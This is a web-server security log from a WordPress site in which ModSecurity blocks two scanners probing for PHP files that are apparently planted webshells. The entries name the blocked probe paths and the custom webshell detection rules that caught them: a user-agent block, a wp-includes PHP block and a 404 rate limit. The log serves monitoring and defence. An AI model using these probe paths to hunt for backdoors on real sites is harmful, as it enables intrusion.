[Fri Feb 27 16:34:12.960931 2026] [:error] [pid 52073:tid 52088] [client 157.15.40.88:64328] [client 157.15.40.88] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/txets.php"] [unique_id "aaFXBIa650YPyxXVeRZ02QAAAYw"]
[Fri Feb 27 16:34:13.221649 2026] [:error] [pid 49306:tid 49326] [client 20.220.232.101:7838] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file9.php"] [unique_id "aaFXBfnSUDZue59Px9uACAAAAVI"]
[Fri Feb 27 16:34:13.755734 2026] [:error] [pid 54102:tid 54148] [client 20.220.232.101:7980] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file9.php"] [unique_id "aaFXBXi74D4fiYUm_GdI-QAAAIQ"]
[Fri Feb 27 16:34:14.218100 2026] [:error] [pid 54231:tid 54235] [client 20.220.232.101:7879] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ac.php"] [unique_id "aaFXBuTvb5AeyJCdY7DQtgAAAEE"]
[Fri Feb 27 16:34:14.705744 2026] [:error] [pid 54101:tid 54123] [client 20.220.232.101:7826] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ac.php"] [unique_id "aaFXBlY5qgRktcYTGFsihQAAAc8"]
[Fri Feb 27 16:34:14.919250 2026] [:error] [pid 54101:tid 54116] [client 157.15.40.88:64482] [client 157.15.40.88] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/txets.php"] [unique_id "aaFXBlY5qgRktcYTGFsihgAAAcg"]
[Fri Feb 27 16:34:15.196619 2026] [:error] [pid 56075:tid 56086] [client 20.220.232.101:7808] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ac.php"] [unique_id "aaFXB8KBhrfI6KNv9RgtxwAAAAk"]
[Fri Feb 27 16:34:15.213496 2026] [:error] [pid 54231:tid 54254] [client 157.15.40.88:64497] [client 157.15.40.88] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/schallfuns.php"] [unique_id "aaFXB-Tvb5AeyJCdY7DQuQAAAFQ"]
[Fri Feb 27 16:34:15.681991 2026] [:error] [pid 52073:tid 52081] [client 20.220.232.101:7928] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ac.php"] [unique_id "aaFXB4a650YPyxXVeRZ06gAAAYU"]
[Fri Feb 27 16:34:16.171066 2026] [:error] [pid 56075:tid 56098] [client 20.220.232.101:7760] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new4.php"] [unique_id "aaFXCMKBhrfI6KNv9RgtygAAABQ"]
[Fri Feb 27 16:34:16.703605 2026] [:error] [pid 49306:tid 49327] [client 20.220.232.101:7856] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new4.php"] [unique_id "aaFXCPnSUDZue59Px9uAFAAAAVM"]
[Fri Feb 27 16:34:17.104536 2026] [:error] [pid 56075:tid 56084] [client 157.15.40.88:64527] [client 157.15.40.88] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/postnews.php"] [unique_id "aaFXCcKBhrfI6KNv9Rgt0wAAAAc"]
[Fri Feb 27 16:34:17.256811 2026] [:error] [pid 52073:tid 52076] [client 20.220.232.101:7863] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new4.php"] [unique_id "aaFXCYa650YPyxXVeRZ0_AAAAYA"]
[Fri Feb 27 16:34:17.388521 2026] [:error] [pid 54103:tid 54173] [client 157.15.40.88:64585] [client 157.15.40.88] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/postnews.php"] [unique_id "aaFXCevG4MPCmE0B2sB2hwAAAMI"]
[Fri Feb 27 16:34:17.751041 2026] [:error] [pid 52073:tid 52078] [client 20.220.232.101:7753] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new4.php"] [unique_id "aaFXCYa650YPyxXVeRZ1AgAAAYI"]
[Fri Feb 27 16:34:18.431366 2026] [:error] [pid 49306:tid 49331] [client 20.220.232.101:7839] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pop.php"] [unique_id "aaFXCvnSUDZue59Px9uAGQAAAVc"]
[Fri Feb 27 16:34:19.045515 2026] [:error] [pid 56075:tid 56098] [client 20.220.232.101:8185] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pop.php"] [unique_id "aaFXC8KBhrfI6KNv9Rgt1wAAABQ"]
[Fri Feb 27 16:34:19.499593 2026] [:error] [pid 56075:tid 56102] [client 20.220.232.101:7926] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pop.php"] [unique_id "aaFXC8KBhrfI6KNv9Rgt4AAAABg"]
[Fri Feb 27 16:34:19.986221 2026] [:error] [pid 54231:tid 54256] [client 20.220.232.101:7899] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pop.php"] [unique_id "aaFXC-Tvb5AeyJCdY7DQwAAAAFY"]
[Fri Feb 27 16:34:20.440686 2026] [:error] [pid 52073:tid 52095] [client 20.220.232.101:8158] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/az.php"] [unique_id "aaFXDIa650YPyxXVeRZ1FQAAAZM"]
[Fri Feb 27 16:34:20.707737 2026] [:error] [pid 52073:tid 52078] [client 157.15.40.88:64752] [client 157.15.40.88] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/postnews.php"] [unique_id "aaFXDIa650YPyxXVeRZ1GAAAAYI"]
[Fri Feb 27 16:34:20.915754 2026] [:error] [pid 49306:tid 49326] [client 20.220.232.101:8056] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/az.php"] [unique_id "aaFXDPnSUDZue59Px9uAHAAAAVI"]
[Fri Feb 27 16:34:21.661810 2026] [:error] [pid 54102:tid 54146] [client 20.220.232.101:7835] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/az.php"] [unique_id "aaFXDXi74D4fiYUm_GdJCQAAAII"]
[Fri Feb 27 16:34:22.172094 2026] [:error] [pid 54102:tid 54152] [client 20.220.232.101:7862] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/az.php"] [unique_id "aaFXDni74D4fiYUm_GdJDQAAAIg"]
[Fri Feb 27 16:34:22.308029 2026] [:error] [pid 52073:tid 52100] [client 157.15.40.88:64991] [client 157.15.40.88] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/postnews.php"] [unique_id "aaFXDoa650YPyxXVeRZ1HgAAAZg"]
[Fri Feb 27 16:34:22.758714 2026] [:error] [pid 49306:tid 49331] [client 20.220.232.101:7847] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xaz.php"] [unique_id "aaFXDvnSUDZue59Px9uAJgAAAVc"]
[Fri Feb 27 16:34:23.257345 2026] [:error] [pid 49306:tid 49320] [client 20.220.232.101:7819] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xaz.php"] [unique_id "aaFXD_nSUDZue59Px9uALQAAAUw"]
[Fri Feb 27 16:34:23.738376 2026] [:error] [pid 49306:tid 49325] [client 20.220.232.101:7804] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xaz.php"] [unique_id "aaFXD_nSUDZue59Px9uANAAAAVE"]
[Fri Feb 27 16:34:24.273815 2026] [:error] [pid 52073:tid 52096] [client 20.220.232.101:7815] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xaz.php"] [unique_id "aaFXEIa650YPyxXVeRZ1IgAAAZQ"]
[Fri Feb 27 16:34:24.760961 2026] [:error] [pid 52073:tid 52099] [client 20.220.232.101:8187] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/up4.php"] [unique_id "aaFXEIa650YPyxXVeRZ1LAAAAZc"]
[Fri Feb 27 16:34:25.258160 2026] [:error] [pid 52073:tid 52091] [client 20.220.232.101:7755] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/up4.php"] [unique_id "aaFXEYa650YPyxXVeRZ1NAAAAY8"]
[Fri Feb 27 16:34:25.803554 2026] [:error] [pid 62998:tid 63016] [client 20.220.232.101:8174] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/up4.php"] [unique_id "aaFXEVQeueXZDUmoLonxNAAAAQ4"]
[Fri Feb 27 16:34:26.300049 2026] [:error] [pid 49306:tid 49311] [client 20.220.232.101:7869] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/up4.php"] [unique_id "aaFXEvnSUDZue59Px9uAPQAAAUM"]
[Fri Feb 27 16:34:26.784714 2026] [:error] [pid 49306:tid 49332] [client 20.220.232.101:7904] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1aa.php"] [unique_id "aaFXEvnSUDZue59Px9uAQAAAAVg"]
[Fri Feb 27 16:34:27.287639 2026] [:error] [pid 52073:tid 52097] [client 20.220.232.101:8083] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1aa.php"] [unique_id "aaFXE4a650YPyxXVeRZ1OgAAAZU"]
[Fri Feb 27 16:34:27.959874 2026] [:error] [pid 49306:tid 49324] [client 20.220.232.101:7768] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1aa.php"] [unique_id "aaFXE_nSUDZue59Px9uARAAAAVA"]
[Fri Feb 27 16:34:28.456086 2026] [:error] [pid 49306:tid 49328] [client 20.220.232.101:7749] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1aa.php"] [unique_id "aaFXFPnSUDZue59Px9uARgAAAVQ"]
[Fri Feb 27 16:34:29.100126 2026] [:error] [pid 56075:tid 56101] [client 20.220.232.101:7788] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/elp.php"] [unique_id "aaFXFcKBhrfI6KNv9Rgt6wAAABc"]
[Fri Feb 27 16:34:29.596150 2026] [:error] [pid 52073:tid 52091] [client 20.220.232.101:8167] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/elp.php"] [unique_id "aaFXFYa650YPyxXVeRZ1PgAAAY8"]
[Fri Feb 27 16:34:30.164098 2026] [:error] [pid 54101:tid 54121] [client 20.220.232.101:8137] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/elp.php"] [unique_id "aaFXFlY5qgRktcYTGFsijwAAAc0"]
[Fri Feb 27 16:34:30.704702 2026] [:error] [pid 49306:tid 49324] [client 20.220.232.101:7834] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/elp.php"] [unique_id "aaFXFvnSUDZue59Px9uAVQAAAVA"]
[Fri Feb 27 16:34:31.197862 2026] [:error] [pid 56075:tid 56095] [client 20.220.232.101:7909] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wtz.php"] [unique_id "aaFXF8KBhrfI6KNv9Rgt8AAAABE"]
[Fri Feb 27 16:34:31.753218 2026] [:error] [pid 56075:tid 56082] [client 20.220.232.101:8141] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wtz.php"] [unique_id "aaFXF8KBhrfI6KNv9Rgt8gAAAAU"]
[Fri Feb 27 16:34:32.217440 2026] [:error] [pid 52073:tid 52099] [client 20.220.232.101:7779] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wtz.php"] [unique_id "aaFXGIa650YPyxXVeRZ1QQAAAZc"]
[Fri Feb 27 16:34:32.706501 2026] [:error] [pid 52073:tid 52079] [client 20.220.232.101:7745] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wtz.php"] [unique_id "aaFXGIa650YPyxXVeRZ1RAAAAYM"]
[Fri Feb 27 16:34:33.314083 2026] [:error] [pid 54231:tid 54249] [client 20.220.232.101:7751] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galex.php"] [unique_id "aaFXGeTvb5AeyJCdY7DQxwAAAE8"]
[Fri Feb 27 16:34:33.839040 2026] [:error] [pid 62998:tid 63012] [client 20.220.232.101:7761] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galex.php"] [unique_id "aaFXGVQeueXZDUmoLonxNQAAAQo"]
[Fri Feb 27 16:34:34.474346 2026] [:error] [pid 54102:tid 54153] [client 20.220.232.101:8121] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galex.php"] [unique_id "aaFXGni74D4fiYUm_GdJFgAAAIk"]
[Fri Feb 27 16:34:35.181856 2026] [:error] [pid 54231:tid 54237] [client 20.220.232.101:8066] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galex.php"] [unique_id "aaFXG-Tvb5AeyJCdY7DQyQAAAEM"]
[Fri Feb 27 16:34:35.669991 2026] [:error] [pid 52073:tid 52092] [client 20.220.232.101:8147] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xb.php"] [unique_id "aaFXG4a650YPyxXVeRZ1SgAAAZA"]
[Fri Feb 27 16:34:36.261489 2026] [:error] [pid 54231:tid 54240] [client 20.220.232.101:8081] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xb.php"] [unique_id "aaFXHOTvb5AeyJCdY7DQygAAAEY"]
[Fri Feb 27 16:34:36.748983 2026] [:error] [pid 54101:tid 54129] [client 20.220.232.101:7892] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xb.php"] [unique_id "aaFXHFY5qgRktcYTGFsikQAAAdU"]
[Fri Feb 27 16:34:37.227690 2026] [:error] [pid 54103:tid 54194] [client 20.220.232.101:8138] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xb.php"] [unique_id "aaFXHevG4MPCmE0B2sB2oAAAANc"]
[Fri Feb 27 16:34:37.732552 2026] [:error] [pid 54101:tid 54114] [client 20.220.232.101:7795] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ova.php"] [unique_id "aaFXHVY5qgRktcYTGFsikwAAAcY"]
[Fri Feb 27 16:34:38.243470 2026] [:error] [pid 52073:tid 52081] [client 20.220.232.101:8154] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ova.php"] [unique_id "aaFXHoa650YPyxXVeRZ1TwAAAYU"]
[Fri Feb 27 16:34:38.691000 2026] [:error] [pid 52073:tid 52089] [client 20.220.232.101:8124] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ova.php"] [unique_id "aaFXHoa650YPyxXVeRZ1UAAAAY0"]
